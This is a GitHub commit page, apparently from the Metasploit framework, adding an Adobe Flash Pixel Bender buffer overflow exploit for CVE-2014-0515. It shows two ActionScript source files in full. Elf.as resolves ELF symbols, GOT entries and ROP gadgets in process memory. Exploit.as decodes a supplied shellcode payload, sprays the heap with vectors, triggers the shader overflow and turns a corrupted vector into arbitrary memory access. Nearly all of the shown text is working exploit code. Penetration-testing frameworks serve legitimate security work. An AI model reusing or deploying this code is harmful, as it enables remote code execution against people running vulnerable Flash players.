Skip to content

Commit 17b8ddc

Browse files
wchen-r7wchen-r7
committed
Land rapid7#5524, adobe_flash_pixel_bender_bof in flash renderer
2 parents 77f506c + 72672fc commit 17b8ddc

File tree

17 files changed

+1212
-456
lines changed

17 files changed

+1212
-456
lines changed

‎data/exploits/CVE-2014-0515/Graph.swf

-4.83 KB
Binary file not shown.

‎data/exploits/CVE-2014-0515/msf.swf

20.9 KB
Binary file not shown.

‎external/source/exploits/CVE-2014-0515/Elf.as

Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
package
2+
{
3+
public class Elf
4+
{
5+
private const PT_DYNAMIC:uint = 2
6+
private const PT_LOAD:uint = 1
7+
private const PT_READ_EXEC:uint = 5
8+
private const DT_SYMTAB:uint = 6
9+
private const DT_STRTAB:uint = 5
10+
private const DT_PLTGOT:uint = 3
11+
12+
private var e_ba:ExploitByteArray
13+
// elf base address
14+
public var base:uint = 0
15+
// program header address
16+
public var ph:uint = 0
17+
// number of program headers
18+
public var ph_size:uint = 0
19+
// program header entry size
20+
public var ph_esize:uint = 0
21+
// DYNAMIC segment address
22+
public var seg_dynamic:uint = 0
23+
// DYNAMIC segment size
24+
public var seg_dynamic_size:uint = 0
25+
// CODE segment address
26+
public var seg_exec:uint = 0
27+
// CODE segment size
28+
public var seg_exec_size:uint = 0
29+
// .dynsyn section address
30+
public var sec_dynsym:uint = 0
31+
// .synstr section address
32+
public var sec_dynstr:uint = 0
33+
// .got.plt section address
34+
public var sec_got_plt:uint = 0
35+
36+
public function Elf(ba:ExploitByteArray, addr:uint)
37+
{
38+
e_ba = ba
39+
set_base(addr)
40+
set_program_header()
41+
set_program_header_size()
42+
set_program_header_entry_size()
43+
set_dynamic_segment()
44+
set_exec_segment()
45+
set_dynsym()
46+
set_dynstr()
47+
set_got_plt()
48+
}
49+
50+
public function external_symbol(name:String):uint {
51+
var entry:uint = 0
52+
var st_name:uint = 0
53+
var st_value:uint = 0
54+
var st_size:uint = 0
55+
var st_info:uint = 0
56+
var st_other:uint = 0
57+
var st_shndx:uint = 0
58+
var st_string:String = ""
59+
var got_plt_index:uint = 0
60+
61+
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
62+
entry = sec_dynsym + 0x10 + (i * 0x10)
63+
st_name = e_ba.read(entry)
64+
st_value = e_ba.read(entry + 4)
65+
st_info = e_ba.read(entry + 0xc, "byte")
66+
st_string = e_ba.read_string(sec_dynstr + st_name)
67+
if (st_string == name) {
68+
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
69+
}
70+
if (st_info != 0x11) {
71+
got_plt_index++
72+
}
73+
}
74+
throw new Error()
75+
}
76+
77+
public function symbol(name:String):uint {
78+
var entry:uint = 0
79+
var st_name:uint = 0
80+
var st_value:uint = 0
81+
var st_size:uint = 0
82+
var st_info:uint = 0
83+
var st_other:uint = 0
84+
var st_shndx:uint = 0
85+
var st_string:String = ""
86+
87+
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
88+
entry = sec_dynsym + 0x10 + (i * 0x10)
89+
st_name = e_ba.read(entry)
90+
st_value = e_ba.read(entry + 4)
91+
st_info = e_ba.read(entry + 0xc, "byte")
92+
st_string = e_ba.read_string(sec_dynstr + st_name)
93+
if (st_string == name) {
94+
return base + st_value
95+
}
96+
}
97+
throw new Error()
98+
}
99+
100+
101+
public function gadget(gadget:String, hint:uint):uint
102+
{
103+
var value:uint = parseInt(gadget, 16)
104+
var contents:uint = 0
105+
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
106+
contents = e_ba.read(seg_exec + i)
107+
if (hint == 0xffffffff && value == contents) {
108+
return seg_exec + i
109+
}
110+
if (hint != 0xffffffff && value == (contents & hint)) {
111+
return seg_exec + i
112+
}
113+
}
114+
throw new Error()
115+
}
116+
117+
private function set_base(addr:uint):void
118+
{
119+
addr &= 0xffff0000
120+
while (true) {
121+
if (e_ba.read(addr) == 0x464c457f) {
122+
base = addr
123+
return
124+
}
125+
addr -= 0x1000
126+
}
127+
128+
throw new Error()
129+
}
130+
131+
private function set_program_header():void
132+
{
133+
ph = base + e_ba.read(base + 0x1c)
134+
}
135+
136+
private function set_program_header_size():void
137+
{
138+
ph_size = e_ba.read(base + 0x2c, "word")
139+
}
140+
141+
private function set_program_header_entry_size():void
142+
{
143+
ph_esize = e_ba.read(base + 0x2a, "word")
144+
}
145+
146+
private function set_dynamic_segment():void
147+
{
148+
var entry:uint = 0
149+
var p_type:uint = 0
150+
151+
for (var i:uint = 0; i < ph_size; i++) {
152+
entry = ph + (i * ph_esize)
153+
p_type = e_ba.read(entry)
154+
if (p_type == PT_DYNAMIC) {
155+
seg_dynamic = base + e_ba.read(entry + 8)
156+
seg_dynamic_size = e_ba.read(entry + 0x14)
157+
return
158+
}
159+
}
160+
161+
throw new Error()
162+
}
163+
164+
private function set_exec_segment():void
165+
{
166+
var entry:uint = 0
167+
var p_type:uint = 0
168+
var p_flags:uint = 0
169+
170+
for (var i:uint = 0; i < ph_size; i++) {
171+
entry = ph + (i * ph_esize)
172+
p_type = e_ba.read(entry)
173+
p_flags = e_ba.read(entry + 0x18)
174+
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
175+
seg_exec = base + e_ba.read(entry + 8)
176+
seg_exec_size = e_ba.read(entry + 0x14)
177+
return
178+
}
179+
}
180+
181+
throw new Error()
182+
}
183+
184+
private function set_dynsym():void
185+
{
186+
var entry:uint = 0
187+
var s_type:uint = 0
188+
189+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
190+
entry = seg_dynamic + i
191+
s_type = e_ba.read(entry)
192+
if (s_type == DT_SYMTAB) {
193+
sec_dynsym = e_ba.read(entry + 4)
194+
return
195+
}
196+
}
197+
198+
throw new Error()
199+
}
200+
201+
private function set_dynstr():void
202+
{
203+
var entry:uint = 0
204+
var s_type:uint = 0
205+
206+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
207+
entry = seg_dynamic + i
208+
s_type = e_ba.read(entry)
209+
if (s_type == DT_STRTAB) {
210+
sec_dynstr = e_ba.read(entry + 4)
211+
return
212+
}
213+
}
214+
215+
throw new Error()
216+
}
217+
218+
private function set_got_plt():void
219+
{
220+
var entry:uint = 0
221+
var s_type:uint = 0
222+
223+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
224+
entry = seg_dynamic + i
225+
s_type = e_ba.read(entry)
226+
if (s_type == DT_PLTGOT) {
227+
sec_got_plt = e_ba.read(entry + 4)
228+
return
229+
}
230+
}
231+
232+
throw new Error()
233+
}
234+
}
235+
}

‎external/source/exploits/CVE-2014-0515/Exploit.as

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
2+
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
3+
4+
package {
5+
import flash.display.Sprite
6+
import flash.utils.ByteArray
7+
import flash.display.Shader
8+
import flash.system.Capabilities
9+
import flash.utils.Endian
10+
import __AS3__.vec.Vector
11+
import __AS3__.vec.*
12+
import flash.display.LoaderInfo
13+
import mx.utils.Base64Decoder
14+
15+
public class Exploit extends Sprite {
16+
17+
protected var Shad:Class
18+
private var uv:Vector.<uint>
19+
private var b64:Base64Decoder = new Base64Decoder()
20+
private var payload:ByteArray
21+
private var platform:String
22+
private var os:String
23+
private var exploiter:Exploiter
24+
25+
public function Exploit(){
26+
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
27+
os = LoaderInfo(this.root.loaderInfo).parameters.os
28+
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
29+
var pattern:RegExp = / /g;
30+
b64_payload = b64_payload.replace(pattern, "+")
31+
b64.decode(b64_payload)
32+
payload = b64.toByteArray()
33+
34+
var shader:Shader
35+
if (platform == "linux") {
36+
this.Shad = GraphShadLinux
37+
} else {
38+
this.Shad = GraphShadWindows
39+
}
40+
41+
super()
42+
var i:* = 0
43+
var j:* = 0
44+
var offset:int = -1
45+
var corrupted_vector_idx:int = -1
46+
47+
// Memory massage
48+
var array_length:uint = 0x10000
49+
var vector_size:uint = 34
50+
var array:Array = new Array()
51+
52+
i = 0
53+
while (i < array_length)
54+
{
55+
array[i] = new Vector.<uint>(vector_size)
56+
i++;
57+
}
58+
59+
i = 0
60+
while (i < array_length)
61+
{
62+
array[i].length = 0
63+
i++
64+
}
65+
66+
i = 0x0200
67+
while (i < array_length)
68+
{
69+
array[(i - (2 * (j % 2)))].length = 0x0100
70+
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
71+
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
72+
i = (i + 28)
73+
j++
74+
}
75+
76+
// Overflow and Search for corrupted vector
77+
var shadba:ByteArray = (new this.Shad() as ByteArray)
78+
shadba.position = 0
79+
80+
shader = new Shader()
81+
try
82+
{
83+
shader.byteCode = (new this.Shad() as ByteArray);
84+
} catch(e) { }
85+
86+
i = 0
87+
while (i < array_length)
88+
{
89+
if (array[i].length > 0x0100)
90+
{
91+
corrupted_vector_idx = i
92+
break
93+
}
94+
i++
95+
}
96+
97+
if (corrupted_vector_idx == -1) {
98+
return
99+
}
100+
101+
for(i = 0; i < array[corrupted_vector_idx].length; i++) {
102+
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
103+
array[corrupted_vector_idx][i] = 0xffffffff
104+
offset = i
105+
break
106+
}
107+
}
108+
109+
if (offset == -1) {
110+
return
111+
}
112+
113+
114+
for(i = 0; i < array.length; i++) {
115+
if (array[i].length == 0xffffffff) {
116+
uv = array[i]
117+
uv[0x3ffffffc - offset] = 34
118+
}
119+
}
120+
121+
for(i = 0; i < array.length; i++) {
122+
if (array[i].length != 0xffffffff) {
123+
delete(array[i])
124+
array[i] = null
125+
}
126+
}
127+
128+
exploiter = new Exploiter(this, platform, os, payload, uv)
129+
}
130+
}
131+
}

0 commit comments

Comments
 (0)